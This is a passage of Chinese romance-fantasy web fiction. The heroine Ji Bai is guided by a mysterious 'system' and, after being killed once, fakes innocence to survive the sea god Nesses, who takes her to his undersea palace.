涅塞斯湛蓝色的眸中闪过一缕暗芒,论实战泊里实力最强,若他发起怒,一时半会很难解决。 “没有。”涅塞斯说,“一次都没有。” 泊里金色的瞳孔微微张了张,这一瞬间他的脑海中闪过了许多画面,是他不在时,季白跟着赫瑞特以及涅塞斯或查奥斯幸福一生的画面。 他的心闪过一抹极为阴暗的想法,比起她和别人幸福地在一起,他……好像宁愿她是死了。 果然,泊里的嘴角扯出一抹苦笑,早在他当初同意他们的办法时,他的心就脏了。 他可以对世间万物以宽容仁慈之心相待,唯有对她倾尽了他所有的恶意与自私。 他做不到放手,做不到忘记,只能任由自己被罪孽吞噬,一步一步走到地狱的深渊。 涅塞斯见泊里脸上的神色还有几分难看,又轻飘飘地说了一句让泊里欣喜若狂的话:“在你沉睡期间,季白的灵魂也没有转世,我和赫瑞特一直在等,直至前不久才找到了这一世的季白。” 泊里一听这话,金色的眼眸顿时亮得和太阳一样,情不自禁地低头吻了吻手里的永恒之冠。 小白,你一定还是爱我的,不然为何在我沉睡期间,你的灵魂也不愿意转世呢? 你一定是在等我,对不对? 赫瑞特不满地嚷道:“涅塞斯!你干嘛告诉他这件事!” 一提起这件事赫瑞特就十分气愤,他和涅塞斯一直认为泊里是最具威胁的人,因而两人联手顺手推舟地帮着那帮人类对泊里下手了。 他的意识陷入沉睡,留在神宫的一部分成为了没有灵魂的傀儡,而他灵魂的一部分也如季白一般坠入凡尘。 若非上次的意外,泊里会一直以人类的身份在凡尘中不断轮回。 赫瑞特本以为能率先解决一位强劲的对手,待日后时机成熟在解决掉涅塞斯,这样就没人能和他抢季白了。 可他没想到的却是自从泊里沉睡后,季白的灵魂竟也不再转世。 涅塞斯曾推理或许是季白的灵魂与泊里之间有着某种联系,故而泊里受损后,她的灵魂也不再转世。 纵然赫瑞特坚定地认为这只是一场意外,但他也非常不爽。 这种意外让他有一种好似泊里与季白有着命中注定的缘分,而他是排除在外的那一个。 涅塞斯:“我不说,难道就代表这件事从未发生过吗?” 赫瑞特瞪了他一眼没说话,他当然知道就算不说,事情也已经发生了,但他就是看不惯泊里,不想让涅塞斯把这件事说出来让泊里开心。 涅塞斯看起来是他们三人中最亲和的人,实则他的情绪是最淡漠的,说他也同样深爱季白吧,却能为了目的毫不犹豫地杀掉季白的其中一世。 这一点,哪怕是身为黑暗之神的赫瑞特都做不到如他这般果决无情。 涅塞斯看着他的两位合作搭档,一位沉浸在失去的愤怒中,一位沉浸在突如其来的好消息中。 他捏了捏眉心,问:“现在不是争论的时候,难道你们没有发现不对劲吗?” 泊里与赫瑞特一齐抬眸看涅塞斯。 “这一世的小白很聪明,不仅如此,她还拥有了超出我们预期的力量,如果不是她主动来奥斯俐学院找我,我们……可能永远都发现不了她。” 泊里想到密林那一日,当时他明明感知到季白就在附近,可他无论怎么找都没找到季白的踪迹。 赫瑞特亦眉头紧皱,他在季白的身上留下了标记,照常理来说无论季白躲去哪里他都能感知到她,可自从神宫一别后,季白就好似人间失踪了一般了无痕迹。 “自从小白第二次转世后,有了我们的封印,她的记忆从未恢复过,为何这一世这么早就觉醒了不该有的记忆,甚至比第二次转世还要早。” 泊里摸了摸手上的永恒之冠,“封印出问题了?” 赫瑞特皱眉:“不可能,若封印有问题,我们早就察觉到不对劲了。” “这才是我们最该警惕的事。”涅塞斯说,“或许……小白的灵魂在我们不知道的时候已经悄然去过其他世界,如今她终于得以回归,打算继续完成她之前未完成的事。” 季白再次清醒时就发现自己被关在一个圆柱形的玻璃罐中,而玻璃罐外的房间则有一种隐隐的熟悉感,好似是……羽生戒指里的空间。 她正想要拍碎眼前的玻璃罐就蓦地发现自己的手变成了半透明状,她惊诧地低眸看了自己一眼只见自己的整个身子都成了半透明的漂浮体,像极了她在上一个副本使用离魂术后的样子。 她的大脑里蓦地想起在深海里的一幕幕,腐烂的魔龙,恐怖的怪鱼,绞死她的海带以及……临死前出现在她上首的涅塞斯。 是涅塞斯杀了她? 为什么? 季白只觉脑袋发懵,在前两次的副本中男主们不是没有对她起过杀心,他们甚至变成怪物的状态来杀她,但在杀她之前都会有一个疯癫的征兆。 可涅塞斯动手前未免也太平静了,简直丝毫看不出来他已经黑化到非要杀她的地步。 他没有相信她的话,还是在怪她欺骗了他? 季白正在复盘着和涅塞斯相遇后的每一句话时,耳边突然响起许久没有听过的系统声。 【他杀你,是因为觉得你可能恢复了前世的记忆。】 季白顿时瞪大了眼,想到了她做过的一个梦,是被许多人围攻杀死的画面。 好家伙,这次的副本神明之死里的神明指的该不会是她自己吧? 她先前还一直以为这次副本的名字暗指了男主们的命运。 【所以他们是上一世杀死我的神?】 怪不到系统把这个副本排在最后,难度比起前二个副本高出了一个天花板,其他人都是病娇黑化杀人,他们这几个是从一开始就是黑的啊。 不过她到底干了什么人神共愤的事,让他们又爱又恨的,爱到不能放手,又恨到只要想起曾经的事就要对她痛下杀手? 系统没有回答季白的疑问,只是提醒了她一句。 【不要让他们任何人察觉到你有前世的记忆,也不要让他们察觉到你在完成任务。】 季白垂下眼帘暗想,系统的第二句话应该指的是每位神明对应的下半部分任务。 如果她没有猜错的话,下半部分的任务都是需要她去取得曾经和她有关的神器, 【所以……我已经死掉了?】 【嗯。】 系统停顿了一会后,平缓的电子音又缓缓在她耳边响起,但这次却添了几分诡异的感觉。 【你的任务失败了,你的灵魂将永生永世被囚这儿,永不得出。】 系统说完后,又沉默了下去,但季白却敏锐地察觉到暗处似乎有人在观察着自己的一举一动,是……系统吗? 她突然有点好奇,一直跟在自己身边的系统到底是什么样子,他会是机器人吗,还是说其实他和她一样也是人类? 季白故意装作害怕的样子。 【真的吗?我真的要永远被关在这儿,能不能再给我一次机会?这一次我一定可以完成任务。】 【关在这儿不好吗?】系统说,【至少这儿没有人会伤害你,也不需要完成困难的任务,也不用面对别人异样的眼光。】 【我会一直在这儿陪着你。】 【你说你会一直陪着我,可是我连你的样子都没见过。】 【既然我已经死了,你是不是可以现身了?】 105 第105章 系统再一次沉默了许久许久。 【你很想见我?】 【为什么?】 季白抬眸看着头顶洁白的天花板,不知是不是她的错觉,她好像在墙角看见了一个隐蔽的闪烁着红光的摄像头。 【为什么?】 季白轻声重复着系统的话,褪去脸上故作害怕的神色,恢复到一种平静到冷漠的神色。 【可能只是有一点点的好奇。】 系统从第一个副本就开始跟着她,知道她所有的伪装,所有的谎言,知道她的冷漠,她的善良以及她所受的每一次伤害与感动的瞬间。 某些时候,系统可能比季白自己还要了解她。 她不耐烦地拍了拍玻璃。 【好了,别玩了,现在是不是可以放我离开了?】 【你凭什么认为我会放你离开?】系统说,【你的任务失败了。】 系统的声音冷冰冰的不夹杂任何情绪,可季白早已不是刚被系统绑定的季白了。 【我没记错的话,当初你说任务失败会死在副本,可没有说过还会以灵魂的方式存活下去。】 【与其把我关在这儿不如杀了我方便,可你没有杀我。】 季白唇角微微勾了勾。 【反而还告诉了我失败的原因以及应该怎么做。】 【系统,我能被你选中一定有特别的原因吧?】 【让我猜猜,是因为我的身份大有来头还是需要我完成一件常人无法完成的事,还是……你不能杀我?】 【你很聪明。】系统说,【可如果是我的私心呢?我的私心想要你留下。】 季白愣了一下,系统也会有属于人类的情感与私欲吗? 她似乎察觉到一抹微不可闻的喘息从她耳边掠过,可她仔细去看时,又什么也没有。 【我可以帮你一次。】系统平静的声音再次响起,【我会把时光回溯至你刚见到涅塞斯的时候,记住,这是你最后一次机会,切记不要被他们发现你记得。】 系统的声音逐渐从季白身边远去,眼前一切如雾一般散去,一道熟悉的温润声音再次从季白耳边响起。 “好巧。” 季白回过神来就对上涅塞斯温和又亲切的笑意,那双湛蓝色的眼眸温柔得像是他身后的蓝天,可经历过一次死亡的季白如今再见他却只觉后背发凉。 “嗯?”涅塞斯见季白一直在发愣,抬手在她眼前挥了挥,“怎么了,见到老师高兴到傻了吗?” “好巧。”季白低着头说了一句,随后又偷偷抬眸看了涅塞斯一眼,故作慌乱地说,“老师我……我还有别的事就先走了。” 不要让他们发现你记得。 季白不敢再表现出有任何反常或者说不属于普通人类的反应。 上一次她之所以会被涅塞斯毫不留情的杀掉,是因为他从她的*身上察觉到有可能会脱离他们掌控的危险了吗? 涅塞斯伸手抓住了她的手腕,湛蓝色的眼眸静静盯着她,随后弯眸一笑。 “别的事是什么事,老师正巧有空不如陪你一起?” 季白看着涅塞斯脸上的笑容,忽然就明白了他为何在上一次杀她时会那样的平静。 对于神明来说,生命的死亡是另一种形式的起点。 在他的眼中他不是在杀她,而是在帮助她完成新生,那么自然不会有之前男主们要杀她时的疯癫与病态,反而温柔到像是病房外鼓励孩子上手术台的母亲。 在他的视角里他没有害她,只是……在帮她。 季白想明白这一点后,越发感觉毛骨悚然。 你可以本能的防备危险,却无法防备对方自以为是的帮助。 季白没有掩藏自己心中的恐惧,反而还放大了自己的恐惧,做出一副十分害怕不安的模样。 季白挣开涅塞斯抓住她的手,嘴上说着,“不是什么大事,老师我自己一个人去就行,我……我就先不麻烦您了。” 可脸上的神色显然是快要哭出来了。 这样的反常哪怕是个普通人也能看出季白是遇上事了,何况是涅塞斯。 他直接上前一步拦住季白的去路,湛蓝色的眼睛定定盯着季白问:“到底怎么了?” “你的样子看起来可不像是没事。” 季白听了这句话,瞬时哭着扑入涅塞斯的怀里。 “涅塞斯老师,我完蛋了,我闯大祸了。” “我得罪了光明神,还得罪了黑暗神。我肯定是死定了,涅塞斯老师,我不想连累你,你就让我一个人走吧。” 涅塞斯轻拍着季白不断颤抖的后背,温声安抚着,“不愿意连累我,为什么还会回来呢?” “我……我只是想回来远远看一眼涅塞斯老师。”季白哭得呜呜咽咽,“我好后悔,当初我就不该被名誉与地位所迷惑去神殿当什么圣女,如果我当时拒绝他们跟着涅塞斯老师一起离开奥斯俐学院,一定不会弄到今天的地步。” “看我一眼?”涅塞斯低下头托着她的下巴温柔地注视着她的眼睛,“为什么想要看我一眼,嗯?因为我只是教导你的老师吗?” 季白的脸霎时红了,眼神闪躲着不知道该看哪里,结结巴巴地说:“我……我不知道,我只是觉得待在涅塞斯老师身边很安心。” 涅塞斯凑到季白眼前,鼻尖快挨到她的鼻尖,温柔的眼神中好似埋着别样的,狂烈的情绪,就在季白以为他会吻上来时,涅塞斯勾唇浅笑了下。 “很安心吗?” “那告诉老师,你在光明神殿闯了什么大祸,又如何得罪了黑暗神?” “我……” 季白心跳如擂鼓,能不能瞒过涅塞斯就看这次的回答了,她可不想再死一次。 “不是说老师让你感到安心吗?”涅塞斯抬手帮她拿下头上的枯叶,“为什么不对老师说实话,老师不喜欢撒谎的坏孩子,被老师自己发现的话会得到惩罚哦。” “乖。”涅塞斯托着她下巴的手指轻轻摩挲着,似是在轻揉小猫的下巴一般,“告诉老师,老师帮你想办法,还是说你根本就不相信老师?” 季白攥住涅塞斯的衣摆,眼神踌躇又不安地解释。 “不,不是的,我不是不相信老师。” “我只是怕说出来会让涅塞斯老师讨厌我。” 涅塞斯近距离看着季白的这张脸,这双漂亮的眼睛中倒映着他的影子,鼻尖弥漫的香气让他险些快要压抑不住心中的欲望,喉结微微滚了滚,掐着她下巴的手缓缓松开摸上她柔软的脸颊,微凉的指腹拭去她眼角的泪,语气温柔地轻声说: “涅塞斯永远也不会讨厌你。” “什么样的你涅塞斯都喜欢。” “放心说出来,嗯?” 如果不是季白真切的经历过一次死亡,她很难相信这么温柔的涅塞斯会杀她。 知人知面不知心,副本里没有正常人。 “我……”季白垂下眼帘,低声说,“我一直都很贪心,想要变得更厉害,我……我听说只要能得到光明神的宝物就能长生不老,拥有媲美神明的力量。” “你听谁说的?”微凉的指腹一下又一下地轻抚着她的脸颊,他的手像是永远也暖不热的蛇一样,始终保持着微凉的温度。 “我……”季白想到了光明神殿的人,低声说,“很久以前听神殿的人提过。” 涅塞斯的眼眸闪了闪,不知是信了还是没信。 “所以……我偷走了光明神的东西,还骗了他。” “涅塞斯老师……”季白抱着涅塞斯的手微微收力,“我不是一个好人,你……会不会讨厌我?” 季白说着又好似自暴自弃一般松开了涅塞斯,低着头用一副做错事的表情说: “就连接近涅塞斯老师也……也全是因为想从涅塞斯老师这儿学到更厉害的魔法。” “接近我是为了利用我啊?”涅塞斯的声音依旧温柔,但季白却无法判断她是不是安全了,只能硬着头皮点了点头。 回想起光明神当初对神殿那帮人的态度,他们似乎并不在意弱小的人类想要从他们身上获得什么。 只要不会对自己产生威胁,他们似乎很乐意看着人类做出一些愚蠢的傻事。 涅塞斯……应该也是这样的吧。 涅塞斯嘴角微微扬了扬,垂眸望着一脸沮丧又忐忑的季白,真的……好喜欢,喜欢她的气味,她的样子,她的眼神。 他没有撒谎,无论是哪一个她,只要是她,他都好喜欢好喜欢。 可喜欢她的人太多,她又太绝情,为了得到她,留下她,费一点心机,使一点手段又如何呢? 逐鹿者不顾兔。 “那老师很高兴身上有能让小白利用的地方。”涅塞斯低头吻上她微红的眼角,湿润微凉的唇沿着她高挺的鼻梁一路吻上她柔软的唇,“请一直利用老师吧。” 如果季白有朝一日真的想起从前的事,她一定会高兴吧,高兴自己教出了学得最像她的学生。 季白微睁着眼睛看着近在咫尺的涅塞斯,唇上微凉的触感让她有一种不真切的感觉。 她这次……算是成功了吗? 她有点猜不透涅塞斯到底在想什么。 一双手温柔地捂住她的眼睛,微哑又低沉的声音在她耳边响起。 “乖,接吻的时候要闭眼。” 【作者有话说】 逐鹿者不顾兔。——出自《淮南子说林训》 106 第106章 视觉被夺取,触感就变得越发灵敏。 她能感受到他柔软的唇轻轻磨蹭着她的唇,而后张开嘴含住她的唇瓣吸吮舔舐,最后又探出柔软微凉的舌尖绕着她的唇打转。 他吻得很温柔,当那条灵巧的舌撬开齿列探进她的嘴里时,就像是在吃一个永远不会融化的冰淇淋,甜甜的,凉凉的。 他的吻逐渐深入,舌尖不知疲倦,不知厌烦地一直在她的嘴里搅弄,吻得季白的舌根都麻了,他却还没有要停下来的意思,身体反而逐渐滚烫了起来,像是一汪冰水在火焰的炙烤下逐渐变得滚烫。 “唔……”他紧扣着她的后脑勺,唇中溢出一声闷哼,紧贴着她的胸膛剧烈起伏着,他的唇缓缓从她的唇上离开结束了这一吻,可看她的眼神却好似要将她活吃了一般。 “涅塞斯老师……”季白稍稍后移,离他炙热的地方远了点,本就潋滟的唇色被他吻得越发活色生香,微微垂下的双眸里含着一层氤氲的雾气,看得涅塞斯又是心念一动。 他的指腹轻柔地抚摸着她湿漉漉的唇,湛蓝色的眼睛变成了深蓝色像极了季白那一日葬身的深海。 “你用这样的眼神看着我,用这样的声音叫我的名字。”涅塞斯摩挲着她唇瓣的手微微用力,温润的声音沙哑得不像样,“会让老师忍不住的。” 季白闻言抿紧了唇不说话,也低下头不再看他。 涅塞斯却强迫性地抬起她的头,眼睛凝望着她的眸子,嘴角仍然挂着一抹亲和的笑意,可话里的意思却让人隐隐感觉有几分不安。 “害怕了?”涅塞斯的目光落在她潋滟的唇上,喉结又不自知的滚了滚,眼底汹涌的欲念似是永远也无法平息的岩浆,“刚刚不还说待在涅塞斯老师身边很安心吗?” “现在又怕什么?” 季白摇头,“我没有怕。” “涅塞斯老师不怕吗?”季白抬头看他,“那可是光明神和黑暗神,你就不怕被我连累到死掉吗?不,他们是神明,得罪他们会比死还要可怕,就连灵魂也永远无法安息了。” “这么害怕他们啊。”涅塞斯无法克制地低头吻了吻她的唇,“别怕,涅塞斯老师带你去一个他们永远也无法找到的地方。” 季白不可置信地猛然睁大了眼睛。 “世界上还有这样的地方?” 涅塞斯没有回答她的问题,只是浅浅地笑了一下,下一瞬他们的脚边就漾开一圈水波,脚下的土地似乎在顷刻间化为了深不见底的渊。 涅塞斯抱着她一起潜入水中,季白装作害怕的样子紧紧搂着他的脖子,心却稍稍松了一口气。 这一次离开的方式和上一次不同,是不是代表着他暂时不会杀她了? 但季白仍不敢掉以轻心,涅塞斯的心情实在是太难猜了。 季白无意间向下看了一眼竟发现涅塞斯两条笔直修长的腿竟变成了一条银蓝色的尾巴,她顿时不可置信地瞪大了眼睛,故意用一种极为惊讶的夸张语气问: “涅塞斯老师……你……你的腿怎么变成尾巴了?” 人鱼是早就消失在人类视野中的传说物种,普通人类见到人鱼定会惊讶得合不拢嘴。 可季白问完后,又觉得自己的表现过于夸张,她是要扮演什么也不记得的普通人类,但……但她好歹也是见过光明神与黑暗神的人,怎么会因为一条人鱼就惊讶成这样? 季白正在暗自懊恼时,手却被涅塞斯抓住了,下一瞬指尖就摸到了一个坚硬又顺滑的东西,是……是他的尾巴。 季白惊讶地抬眸看过去就对上涅塞斯温柔的笑脸,他抓住她的手轻抚着他的尾巴,她似乎是在无意间摸到了什么敏感的地方,能清楚地感受到漂亮的尾巴在她的手里颤了一下。 涅塞斯的喉间溢出一声闷哼,呼吸都变得急促,湛蓝色的眼睛一瞬不移地紧盯着她。 “喜欢吗?”涅塞斯抓住她欲要离开的手又带着她的手重重握了上去,“喜欢我的尾巴吗?” 银蓝色的尾巴在海水中散发着淡淡光华,似是夜空中那抹清亮的月光,游动时的弧度与散发着七彩光芒的透明鱼鳍都美到不可思议。 “喜欢。”季白轻声说,“涅塞斯老师的尾巴很漂亮。” 掌心下的东西又颤了颤,涅塞斯突然揽住她的腰身把她往上带了带,手掌托着她的臀,鱼尾巴悄悄缠上她的脚腕,他再次低头吻上他心心念念的唇,“喜欢就留下吧,和我一起留在深海,留在这个只有我和你的地方。” 涅塞斯抱着她不断向深海坠去,周围的光线越来越暗,可他的身后却是一片盛放的散发着点点星光的海花,海水轻轻拨动着他们的发丝,衣襟,一切舒适美好的像是在梦里。 他们最终坠入一个巨大的蚌壳里,涅塞斯温柔地吻着她的每一寸肌肤,眼中的欲念如这汪大海一般将她淹没。 “喜欢我吗?”涅塞斯喘息着问她,漂亮的眉眼染上了绯红的春意,蓝色的眼眸在这一刻成了触手可及的独属于她一人的天空。 季白不敢说不喜欢,她怕她回答否,下一秒这家伙又会想办法杀了她。 “喜欢。”季白说。 “这样的回答是不是也同样对他们说过?”他抚摸着她漂亮的眉眼,身下的蚌壳随着时而快时而缓的水浪在海底飘荡,海藻般的蓝发落在她的肌肤上,激起阵阵痒意。 “你对他们说喜欢时,他们也像我一样,吻着吗?” 季白的心尖颤了一下,抬手抱住他纤细的腰身,漂亮的鱼尾紧紧缠住她的腿,尾巴摩挲间带来一种坚硬的,冰凉的,顺滑的感觉,可偶尔尾巴松动时又会有一种砂砾般的感觉摩挲着她敏感的肌肤。 季白觉得自己快要被他的尾巴折磨疯了。 “为什么不说话?”他惩罚性的重重咬了她一下,手掌摸上她隆起的小腹,“这里,他们有到过吗?” 季白如同缺氧一般大口大口地喘着气,指尖扣进他的血肉里,断断续续地说:“涅塞斯老师,我……我如果喜欢他们,就不会从他们身边逃走来找你。” 涅塞斯笑了,用温柔的吻奖励她。 “乖孩子,知道遇见问题要来找老师。” 蚌壳似乎是遇到了一股激烈的暗流,在水流中被冲撞得东倒西歪,摇摇晃晃,仿佛随时都会坠下去一般。 这股暗流微微停一下就会变得比上一次还要汹涌,季白好几次都要怀疑这蚌壳是否还能承受得住暗流的凶猛攻击。 暗流逐渐平息,水流又变得平缓,她趴在蚌壳上气喘吁吁,累到连手都抬不起来。 涅塞斯跪坐在她腿边,轻抚着她的伤口,漂亮的脸蛋越发潋滟惑人。 “都肿了。” 季白轻轻颤了下,说:“没事。” “怎么会没事呢?”涅塞斯垂眸盯着伤口说,“红得很厉害。” 他的手指还在抚摸着,这种酥麻又疼痛的陌生感觉让季白的身子颤得更厉害,她想要摆脱他的手指,可他的另一只手却扶着她的腰,尾巴也紧紧缠住她的双腿,让她无从躲避。 他俯身低了下去,炙热的呼吸落在伤口上,带来阵阵潮热。 “我帮小白舔舔,动物之间受伤了,都会帮同伴舔舐伤口。” 不容季白拒绝,他的舌头已经贴了上去。 季白闭上眼,呼吸变得越发急促,待一切结束时,季白已经累到连抬腿的力气都没有了。 不知是不是因为这双腿被他的鱼尾缠的太久,哪怕现在他的尾巴放开了她,她也仍有一种被鱼尾缠住的错觉。 “乖。”涅塞斯从后拥住了她,“睡一觉,睡一觉我们就到了。” 季白本是不想睡的,可在他温柔的声音下竟诡异地睡了过去。 等她再次醒来时,眼前是一座陌生的漂亮宫殿,晶莹剔透,华贵异常,像是电影里海神的水晶宫。 她偏过头对上涅塞斯如大海般温柔的蓝眼睛,轻声问:“这是哪儿?” 她暂时应该不会死了。 涅塞斯轻抚着她的脸颊,轻声说:“是我们的家。” 季白眨了眨眼,装作一脸懵懂诧异的样子环顾着四周,最后抓着他的衣摆忐忑不安地问:“涅塞斯老师,您……您到底是什么人?” “涅塞斯菲勒德。”涅塞斯低下头吻她的额头,“人类称我为海神。” 季白怔怔地看着他,一幅惊讶到傻了的状态。 “很惊讶?不喜欢大海吗?”他的鱼尾巴又卷了上来,漂亮的闪烁着七彩光华的鱼鳍轻轻拍打着她的脚腕,像是某种挑逗与勾引。 可他脸上的神色又很正经,温柔亲和,眼神清透,与他缠上来的充满欲望的鱼尾完全不同。 “很惊讶。”季白说,“没想到……没想到涅塞斯老师也是一位神明,怪不得……怪不得您一点也不怕光明神与黑暗神。” “涅塞斯老师,您……您这么厉害,还愿意教我吗?”季白抱着他的胳膊问。 “你想学什么?” 季白笑着扑到他的怀里,黏黏糊糊地说:“学什么不重要,重要的是涅塞斯老师教我,我想和涅塞斯老师像从前那样相处。” 季白已经确定从涅塞斯这儿八成是得不到什么传承了,他或许会愿意教她一点看似厉害的魔法,但绝不会教给她真正能威胁到神明的东西。 她想起上一次临死前涅塞斯带她去的禁地,虽然她当时死在那儿了,但她总觉得涅塞斯没有撒谎,在那片珊瑚丛里就藏着属于海神的力量。 “好。”涅塞斯放在她后背的手轻轻抚着,“做你一个人的专属老师,想学什么都教你。” 他说着,又想要低头吻她,可低下的头却突然停了下来,眉头微微皱了皱。 季白察觉出他情绪不对,心中激灵一下,以为这家伙是又谋划着要杀她,战战兢兢地问:“涅塞斯老师,怎么了?” 107 第107章 “没什么。”涅塞斯笑着吻了吻她的额头,微凉的手掌摸上她的肚子,语气温柔地问,“肚子饿不饿,我去给你取点食物,乖乖在这儿等着我,千万不要乱跑。” 季白看着他神色无异的脸,心中断定定然是出了什么要紧事。 她故意装作害怕不安的样子拽着涅塞斯的衣袖,“我可以和你一起去吗,我不想一个人留在这儿。” “别怕,这儿不会有人来的。”涅塞斯安抚性的吻了吻她,“这里有特殊的阵法,就算是光明神他们也不能察觉到你的存在,我很快就会回来。” 涅塞斯垂眸想了想,翻开掌心手中多了一只透明的粉色水母,它垂下的触手如同丝带一般一开一合地晃动着。 涅塞斯把水母朝她的方向推了推,“别怕,这只水母性情很温顺,不会攻击人,我让它留下来陪你好不好。” 季白本能地就想要拒绝,谁知道这只水母会不会是涅塞斯监视她的某种手段。 她装作害怕的样子往后缩了缩,“不……不用,我一个人在这儿等老师就好。” 说话间,那只粉色水母已经凑到了季白面前,明明没有五官却能从它摇晃的肢体上看出它很兴奋,用小伞一样的脑袋去蹭季白,但见季白在躲它,欢腾的触手顿时不满地垂了下去,整只水母看起来都变得无精打采了。 季白强忍着想摸摸它的冲动,别过视线不去看它,对于可爱的萌物,她真的很难拒绝。 涅塞斯垂下眼帘,晃了晃手指,那只透明的粉色水母就垂头丧气地回到它的掌心,随后消失不见。 涅塞斯弯眸笑了笑,眼底是不易察觉的失落。 “好,如果无聊的话,可以看看架子上的书,我很快回来。” 涅塞斯说完后就转身离开了这儿,季白一个人在房间里坐了一会后,就开始四处在房间寻找线索,但她找了半晌也没找到什么有用的信息。 季白看了看那扇紧闭的门,心中想要出去的渴求越发强烈,看涅塞斯刚刚的表情,一定是出了非常重要的事,错过这次机会,下次就不知道要等到什么时候了。 最重要的是涅塞斯与泊里他们不同,他杀人是真利落,季白很怕自己在涅塞斯身边留的越久,破绽也就越多。 她捏了捏指尖,试探性地在心中询问系统。 “系统,你知道涅塞斯去做什么了吗?” 系统许久都没有回答季白的问题,就当季白以为他不会回答的时候,他低低的声音突然在她耳边出现。 “赫瑞特来了。” 还未走远的涅塞斯蓦地顿住了脚步,他回眸看了一眼,如冰雪般寂冷的眼眸中倒映着如明月般耀眼的宫殿。 他好像听到了不属于这个世界的声音。 【赫瑞特?】 季白心中一惊,他怎么会突然出现? 该不会是……季白心中越发慌乱,以涅塞斯的智慧他很有可能从赫瑞特的三言两语中推测出不对。 如果系统让她寻找的宝物是与她有关的东西,那么涅塞斯肯定会起疑心。 这家伙可不是那种需要确凿证据才动手的人,而是枝丫有一点不对就会毫不留情剪掉的人。 她不能再坐以待毙地等下去了。 季白站起身来透过晶莹的窗看着外面美轮美奂的海底世界,有这么一瞬间,季白恍惚间仿佛置身于现代世界的水族馆。 她摸了摸一直随身戴着的隐形帽,随后将它戴在了头上,她得赶在涅塞斯回来前赶往上次去过的珊瑚丛。 季白想到了那条曾经救过她的巨龙,它现在应该还活着吧? 这么想着,季白就朝宫殿门口走去,然而她无论怎么走,都始终无法靠近大门,不是从一个房间抵达另一个房间,就是从走廊瞬移至二楼的平台。 这座宫殿的结构与人类世界的建筑有所不同,所有的建筑都没有台阶,二三层房间外的走廊也没有任何护栏,从一楼的大厅抬头向上看去,一扇扇拱形的门配上莹白色的地砖给人一种宏伟庄肃的死寂感。 季白看了好一会,突然觉得那一扇扇房间的门像极了……墓地里的一排排墓碑。 季白垂眸看向下首不远处的大门,门明明近在咫尺却又远在天涯海角,像是倒映在空中的海市蜃楼,看得见摸不着。 涅塞斯临走时定然是在这儿布下了防止她离开的阵法,不过……这座宫殿的阵法并不是那种简单粗暴以神力囚禁的阵法,而是类似于空间折叠的迷宫。 水流的波动,运动的轨迹,甚至于每一次的呼吸,任何一点细微的改变都会影响她最终降落的地点。 看起来毫无规律且极为诡异,就像是眼前出现数条扭曲缠绕的线,它们从四面八方延伸而来,你无法确定握住的这一根它究竟是向上向下,还是向左向右,亦或是一条死路。 你能选择的只有一条,且这一条与其余数条颜色相同,粗细相同,就连走势看起来也相同,可结果却是大相径庭。 若是常人试上几次不得法后,也早就放弃了,可季白却一次又一次的试,好似不知疲倦一般。 她在一次次的尝试中终于总结到了一点点经验。 她望着距离她越来越近的大门,嘴角忍不住向上扬了扬,人无完人,纵有完人,他的优点在某些时候也会成为致命的缺点。 涅塞斯很聪明,他也知道自己很聪明。 所以就连在做囚牢的时候,他也与泊里他们不同,他不喜欢用简单粗暴的神力困住一个人,而是利用自己的聪慧建一座复杂而美丽的迷宫。 他自信除了他以外不会有第二个人逃出来。 这给了季白可乘之机。 季白屏住呼吸,全神贯注地感知着水流的波动,宫殿还是这座宫殿,可季白眼前却浮现出一条条纠缠扭曲的线,原本毫无差别的杂乱线条却一根根地亮起来了独特的颜色无比鲜明地指向最终通往的目的地。 她动作轻缓地迈出一只脚,西北三百四十五度四步,东北二十度六步,西二百八十五度七步,季白睁开眼睛距离门口只差最后一步。 可这最后一步往往也是最难的,她极有可能会再次被空间扭曲至更远的地方,但没有关系,她已经找到规律了,就算失败凭借着先前的经验,她也能一步步走到这里再进行第二次,第三次,第一百次。 季白在某些时候拥有着超乎寻常的执着与耐心。 东南一百九十度两步。 季白敏锐感觉到有某种未知的力量从自己的脸边掠过,那股力量强悍而又迅猛,一旦撞上哪怕不死也会当场昏迷,但她很幸运了,她走对了。 掌心传来冷冰的坚硬触感,曾经遥不可及的大门就在她的掌心,只要轻轻一推就能离开这儿。 【你确定要离开这儿吗?】 耳边再次响起系统的声音。 【你不建议我现在离开?】 【留下来的存活率为百分之八十,走出去的存活率仅为百分之八。】 不愧是系统,就连给建议也是非常直观的数据。 【如果你留下可以徐徐图之,若你再死一次,我救不了你。】 【究竟是徐徐图之还是被温水煮青蛙的一口一口吃掉?】季白笑着说,【哪怕只有百分之八的存活率,我也想赌一把。】 【你很激进。】 【谢谢夸奖。】季白眯着眼睛用愉悦的语气在脑海中回答系统。 门在季白的推动下缓缓打开,眼前的景色却让季白当即愣在了原地。 她在宫殿里隔着窗户看见的是美轮美奂的海底世界,是神秘而又漂亮的海底生物,像是现代的海族馆,也像是以童话故事为背景的海底世界。 可没了那扇窗户,眼前的一切都变得阴郁可怖,仿佛在一瞬间就从童话世界来到了恐怖世界。 昏暗的光线使附近的一切都有些模糊不清,但能清楚地看清如山峦般高大的建筑物一栋栋地围绕着季白身后明亮而温暖的宫殿,给人一种无序而又荒诞的恐怖感。 这些建筑物又高又大,每一栋都没有楼梯,没有窗,只有一扇扇拱形的灰白色的门,像极了建立在高山上的坟墓。 季白刚刚在宫殿里隔着窗户往外看的时候,完全没有看见任何一栋建筑,她甚至怀疑自己是不是在刚刚的阵法中出了错,因而被传送到这种阴暗恐怖的地方。 可身后明亮而又温暖的温度时刻提醒着她,她没有错。 季白突然感知到水浪的波动,有东西出现了! 季白本能地就要躲起来,可她又很快意识到,自己戴着系统给的帽子,无论是什么东西出现都不会发现她。 她停下脚步朝有波动的地方看了过去,结果就看见了一群……极为可怖的东西。 他们的形貌看起来像是鲛人,上半身有着属于人的躯体,下半身有着和涅塞斯一模一样的鱼尾。 只不过……他们没有半分鲛人的美丽,反而可怕到像是一群怪物,身上的血肉已然腐烂,被海水泡得发白且胀大,白色的肉虫在腐烂的肉里钻滚着。 他们一边游动着一边窸窸窣窣地往下掉烂肉与细长的白虫,看起来恶心又恐怖,许多鲛人的肉已经掉到可以清楚地看见里面的白骨。 季白看得忍不住想吐,这海底到底是怎么回事?上次看的龙是腐烂的,眼前的鲛人也是腐烂的。 该不会整个海底都没几位正常的生物吧? 这群鲛人看样子是要去同一个地方,会和赫瑞特的突然来访有关吗? 季白的眼前忽而出现一张地图,地图上有两个南辕北辙的区域亮起了红点。 【上面是珊瑚丛,下面是涅塞斯现在所在的位置。】 